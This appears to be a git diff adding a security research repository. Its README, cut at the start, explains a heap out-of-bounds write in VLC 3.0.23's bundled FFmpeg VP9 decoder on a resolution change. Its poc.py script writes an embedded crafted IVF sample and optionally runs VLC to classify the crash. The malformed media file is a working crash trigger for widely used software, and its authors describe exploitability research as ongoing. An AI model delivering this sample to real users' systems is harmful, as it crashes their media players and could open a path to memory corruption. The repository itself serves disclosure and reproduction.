3.0.23's bundled FFmpeg VP9 decoder, that shape reaches a stale slice-thread progress allocation. + +## Why It Happens + +The VP9 decoder tracks slice-thread progress in an `entries` array. That array is allocated using the number of superblock rows for the current frame. + +For a `64x64` frame: + +```text +sb_rows = (64 + 63) >> 6 = 1 +entries allocation = 1 * sizeof(atomic_int) = 4 bytes +``` + +For a later `64x8192` frame: + +```text +sb_rows = (8192 + 63) >> 6 = 128 +``` + +The stale allocation remains sized for the first frame when the tile-column count does not change. During decode, the VP9 slice-thread reset loop writes zero to each row entry for the new frame: + +```c +for (i = 0; i < s->sb_rows; i++) + atomic_store(&s->entries[i], 0); +``` + +That turns the second frame into a sequence of 4-byte zero writes past the original 4-byte allocation. On Windows VLC 3.0.23, the process behavior depends on heap layout and runtime state; observed outcomes include heap-corruption termination and access violation. + +## Files + +- `poc.py`: stdlib-only Python reproducer +- generated output: `vp9_reschange_64x64_to_64x8192_tc0.ivf` + +No external Python dependencies are required. + +## Usage + +Generate the IVF sample: + +```bash +python poc.py +``` + +Generate the sample at a custom path: + +```bash +python poc.py -o sample.ivf +``` + +Optionally replay it with a local VLC binary: + +```bash +python poc.py --vlc "C:\Path\To\VLC\vlc.exe" +``` + +The script prints JSON containing the generated sample path, SHA256 hash, size, and optional VLC process result. + +Expected sample hash: + +```text +F26BDEFBDFD0B44359E314E0BFDE7AEA979D29F80F598749DCCA68AB34F54649 +``` + +## Tested Target + +Tested against: + +- VLC media player 3.0.23 for Windows x64 +- decoder module: `plugins/codec/libavcodec_plugin.dll` +- VP9 decoder source lineage: FFmpeg 4.4.x VP9 decoder + +The relevant decoder behavior is the stale `entries` allocation on a resolution change that does not change tile-column count. + +## Research Notes + +Local instrumentation observed the stale reset loop in `libavcodec_plugin.dll` at RVA `0x698a5c`, executing the fixed zero-write pattern against the stale `entries` allocation. + +For the `64x64 -> 64x8192` sample, direct-store tracing observed: + +- `129` total `entries` stores +- `127` stores past the requested 4-byte allocation +- `114` stores past the allocator raw usable block + +This repository is a compact crash reproducer. Research on the full exploitability of this primitive is incomplete and continuing. + +## Responsible Use + +Run this only in a local test environment you control. The generated media file is intended for reproducing and studying the decoder fault path. diff --git a/vlc-vp9-reschange-crash-poc/poc.py b/vlc-vp9-reschange-crash-poc/poc.py new file mode 100644 index 0000000..4800585 --- /dev/null +++ b/vlc-vp9-reschange-crash-poc/poc.py @@ -0,0 +1,126 @@ +#!/usr/bin/env python3 +import argparse +import base64 +import hashlib +import json +import subprocess +import sys +import time +from pathlib import Path + + +SAMPLE_B64 = ( + "REtJRgAAIABWUDkwQABAAAEAAAABAAAAAgAAAAAAAABeAAAAAAAAAAAAAACCSYNCAAPwA/YGOCQcGEoAACBAAGtD///lXb23/SskhXr7zdPyoCRyEjNuPymkNJQgETBR424BCv//rXCHLKdpldqOXFZdaWk1nVibjsmAd3pGejzlO0+dlygBOCSA/wAAAAEAAAAAAAAAgkmDQgAD8f/2BjgkHBhKAADQR9j9Ye4xQAev+/8OAGxOd+f8niRqQFa1U/7kzgammYg1AcYQFrhfX6tE38imv1MXtaAO/yiEiKaaDpaMxLBBYGTZ80JtDb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GUoA" +) + +EXPECTED_SHA256 = "F26BDEFBDFD0B44359E314E0BFDE7AEA979D29F80F598749DCCA68AB34F54649" + +CRASH_CODES = { + 0xC0000005: "access_violation", + 0xC0000374: "heap_corruption", + 0xC0000409: "stack_buffer_overrun", +} + + +def code32(value): + if value is None: + return None + return value & 0xFFFFFFFF + + +def classify_returncode(value): + code = code32(value) + if code is None: + return "timeout" + if code == 0: + return "clean" + if code in CRASH_CODES: + return f"crash:{CRASH_CODES[code]}" + return "nonzero" + + +def write_sample(path): + data = base64.b64decode(SAMPLE_B64) + digest = hashlib.sha256(data).hexdigest().upper() + if digest != EXPECTED_SHA256: + raise RuntimeError(f"embedded sample hash mismatch: {digest}") + path.parent.mkdir(parents=True, exist_ok=True) + path.write_bytes(data) + return data + + +def run_vlc(vlc, sample, timeout): + cmd = [ + str(vlc), + "-I", + "dummy", + "--dummy-quiet", + "--ignore-config", + "--no-media-library", + "--play-and-exit", + "--run-time", + "2", + "--no-one-instance", + "--no-qt-privacy-ask", + "--no-qt-error-dialogs", + "--no-crashdump", + "--no-audio", + "--vout", + "dummy", + str(sample), + "vlc://quit", + ] + started = time.time() + try: + proc = subprocess.run( + cmd, + cwd=str(vlc.parent), + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + timeout=timeout, + ) + returncode = proc.returncode + stdout = proc.stdout.decode("utf-8", "replace") + stderr = proc.stderr.decode("utf-8", "replace") + except subprocess.TimeoutExpired as exc: + returncode = None + stdout = (exc.stdout or b"").decode("utf-8", "replace") + stderr = (exc.stderr or b"").decode("utf-8", "replace") + return { + "status": classify_returncode(returncode), + "returncode": returncode, + "returncode_hex": f"0x{code32(returncode):08x}" if returncode is not None else None, + "elapsed": round(time.time() - started, 3), + "stdout_tail": stdout[-2000:], + "stderr_tail": stderr[-2000:], + } + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument( + "-o", + "--output", + type=Path, + default=Path("vp9_reschange_64x64_to_64x8192_tc0.ivf"), + ) + parser.add_argument("--vlc", type=Path, help="optional path to vlc.exe for local replay") + parser.add_argument("--timeout", type=float, default=8) + args = parser.parse_args() + + data = write_sample(args.output) + result = { + "sample": str(args.output.resolve()), + "sha256": hashlib.sha256(data).hexdigest().upper(), + "size": len(data), + } + if args.vlc: + result["vlc"] = run_vlc(args.vlc.resolve(), args.output.resolve(), args.timeout) + print(json.dumps(result, indent=2)) + + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + sys.exit(130)